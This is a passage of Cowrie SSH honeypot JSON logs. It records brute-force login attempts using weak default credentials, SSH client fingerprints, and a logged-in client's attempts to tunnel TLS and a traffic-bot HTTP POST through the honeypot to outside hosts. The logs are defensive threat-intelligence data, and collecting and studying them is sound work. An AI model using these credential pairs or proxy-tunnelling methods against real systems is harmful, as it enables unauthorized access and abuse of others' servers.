a2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:05.032177Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64550,"dst_ip":"10.17.0.5","dst_port":22,"session":"290d45764c43","protocol":"ssh","message":"New connection: 45.153.34.195:64550 (10.17.0.5:22) [session: 290d45764c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:05.184872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:05.364366Z","src_ip":"45.153.34.195","session":"290d45764c43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:05.367368Z","src_ip":"45.153.34.195","session":"290d45764c43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111111","message":"login attempt [root/111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:05.908577Z","src_ip":"45.153.34.195","session":"290d45764c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:05.994521Z","src_ip":"160.187.180.146","session":"33d9689419a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:06.718949Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:07.136472Z","src_ip":"45.153.34.195","session":"290d45764c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.5","message":"Connection lost after 33.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:08.177973Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64568,"dst_ip":"10.17.0.5","dst_port":22,"session":"683c58ec054b","protocol":"ssh","message":"New connection: 45.153.34.195:64568 (10.17.0.5:22) [session: 683c58ec054b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:08.262871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:08.269051Z","src_ip":"45.153.34.195","session":"683c58ec054b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:08.473217Z","src_ip":"45.153.34.195","session":"683c58ec054b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:08.850711Z","src_ip":"45.153.34.195","session":"683c58ec054b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:09.942913Z","src_ip":"45.153.34.195","session":"683c58ec054b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64580,"dst_ip":"10.17.0.5","dst_port":22,"session":"775580d5c146","protocol":"ssh","message":"New connection: 45.153.34.195:64580 (10.17.0.5:22) [session: 775580d5c146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:11.203666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:11.212167Z","src_ip":"45.153.34.195","session":"775580d5c146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:11.312440Z","src_ip":"45.153.34.195","session":"775580d5c146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:11.672803Z","src_ip":"45.153.34.195","session":"775580d5c146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:12.758059Z","src_ip":"45.153.34.195","session":"775580d5c146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42356,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3e73c19c096","protocol":"ssh","message":"New connection: 45.153.34.195:42356 (10.17.0.5:22) [session: c3e73c19c096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.108942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.119231Z","src_ip":"45.153.34.195","session":"c3e73c19c096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.205649Z","src_ip":"45.153.34.195","session":"c3e73c19c096","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.301637Z","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.359565Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9j\\x98\\x0e\\x82/m\\xdeB$\\x9f\\xbb4\\xa1\\xdc\\xf6\\xcc\\x81[\\x97y\\xe7Ff\\xde8\\xdf\\xab\\xf9R[\\xbd \\xcdz\\xc2\\xd4P\\xed|u\\x95\\x84\\xb4\\x15i\\x82\\xab\\x9d\\x16QS\\x00s,DZW\\xbb\\x9a\\xb4\\xf1L\\x06S\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc4#\\xcc\\x9f\\\\Z\\x89C$\\x85a\\nP\\n\\x07\\xcfY\\xb1\\xbc*\\x17\\xfd\\x86E\\xb9\\x8f\\xaa\\x91\\x0e\\r&i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9j\\x98\\x0e\\x82/m\\xdeB$\\x9f\\xbb4\\xa1\\xdc\\xf6\\xcc\\x81[\\x97y\\xe7Ff\\xde8\\xdf\\xab\\xf9R[\\xbd \\xcdz\\xc2\\xd4P\\xed|u\\x95\\x84\\xb4\\x15i\\x82\\xab\\x9d\\x16QS\\x00s,DZW\\xbb\\x9a\\xb4\\xf1L\\x06S\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc4#\\xcc\\x9f\\\\Z\\x89C$\\x85a\\nP\\n\\x07\\xcfY\\xb1\\xbc*\\x17\\xfd\\x86E\\xb9\\x8f\\xaa\\x91\\x0e\\r&i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.362349Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.379748Z","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.478248Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_9 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.9 Mobile/16H5 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VSslbHlqQlp0JkpweEZfQw%3D%3D25cs%2B29R52ThWfmk5niB31xCQd613PdsKJuMgSIWTUp795FcqayPiV7herC%2FnP1HY5LtyK5IRDDQaijW6b6oAekSzK842iQMHxN2uO7FtRExKf68BOH3%2B9j0kHEI8tB9kILYFS1P3z0Jv%2FZVKKhSPYKXj2qswUtlLu9onqvo4j%2B8K133C4NLZ4cnNd%2Fg4pIirbOlwsbcVhoVqgO1DpQF31Tt2WurRO%2F06jCOL%2B0C3J3dzj%2FhOEju%2FEqdOrBKxVTCZwh78Dz3YaitQEHWlJzNps0m69FUloe5yIO510gIqyqAImV7IZHRLMFmI3mR%2Flewdw1GJwQHVzAJFSjhUq3LtG4%2B%2BBrFAWsnntEvuZ1lbGQ1Gs98nI%2BDgpSlvonxjcLj%2Bsy%2B%2Bzf7wzsrv8hMbZU8vibrukABCcvKCRVK13XPhrdPARBP1m3L0fnCF4sBoP683BEjEkfV%2BtxEp7O%2F8rWkHxivUahfqrJthehDb3Dd4IdbbvxCKSpC0zfkUmka9ypRU6dtxkrMmfi2ZJazjs5GgOsweAT%2BRbD7H0bZI%2Fse%2Fp076x1zsXVgKfbOsA12hSawsLABno8b%2BB3euw1oO%2BRTiy6TUvrom3z0cIQzJcRTrIrIOOrGX%2BylVUXd2A8KaY5G%2BGrvXbEDPWMDDmUxvjVX3zSALAMl92qEyDUAFuNVWxjUuuErdqsz72BmOc3tBz70%2FHMRwvWe4e1fSYdMdFS6VACgnnfIOxjHIAI4ma19WUjcleZm%2FhhcrugbqXePP8X447onsrSQuHhY5GXbi6Nh5noO%2FbpssvCIC%2BIpnYy0MsQcISaNBpvJpydmI7p6VyoBWPo8Fu%2Fj4XW7VnmZXJjOf6dWR4Qt0upO6MgKAGtihpNEYH07TDd4%2FyoKv%2BEPWosemx82w7fX0q48servriTcH2nSxK4fl7g%2BjzjJDIkb8g6D8BMSDY%2BZ4Vm1d64jzjCA4D2KAVnaLNUFuwgFIcCC9Wah%2Fj5sr7n1%2F2LFH%2BZiDTdOrHN97ogqJO9f17gkThD%2FC3aRkw41pEr5CMQPZ7lA%2FLeyxyxhDGJr9jb%2BLMNiU1g%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_9 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.9 Mobile/16H5 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VSslbHlqQlp0JkpweEZfQw%3D%3D25cs%2B29R52ThWfmk5niB31xCQd613PdsKJuMgSIWTUp795FcqayPiV7herC%2FnP1HY5LtyK5IRDDQaijW6b6oAekSzK842iQMHxN2uO7FtRExKf68BOH3%2B9j0kHEI8tB9kILYFS1P3z0Jv%2FZVKKhSPYKXj2qswUtlLu9onqvo4j%2B8K133C4NLZ4cnNd%2Fg4pIirbOlwsbcVhoVqgO1DpQF31Tt2WurRO%2F06jCOL%2B0C3J3dzj%2FhOEju%2FEqdOrBKxVTCZwh78Dz3YaitQEHWlJzNps0m69FUloe5yIO510gIqyqAImV7IZHRLMFmI3mR%2Flewdw1GJwQHVzAJFSjhUq3LtG4%2B%2BBrFAWsnntEvuZ1lbGQ1Gs98nI%2BDgpSlvonxjcLj%2Bsy%2B%2Bzf7wzsrv8hMbZU8vibrukABCcvKCRVK13XPhrdPARBP1m3L0fnCF4sBoP683BEjEkfV%2BtxEp7O%2F8rWkHxivUahfqrJthehDb3Dd4IdbbvxCKSpC0zfkUmka9ypRU6dtxkrMmfi2ZJazjs5GgOsweAT%2BRbD7H0bZI%2Fse%2Fp076x1zsXVgKfbOsA12hSawsLABno8b%2BB3euw1oO%2BRTiy6TUvrom3z0cIQzJcRTrIrIOOrGX%2BylVUXd2A8KaY5G%2BGrvXbEDPWMDDmUxvjVX3zSALAMl92qE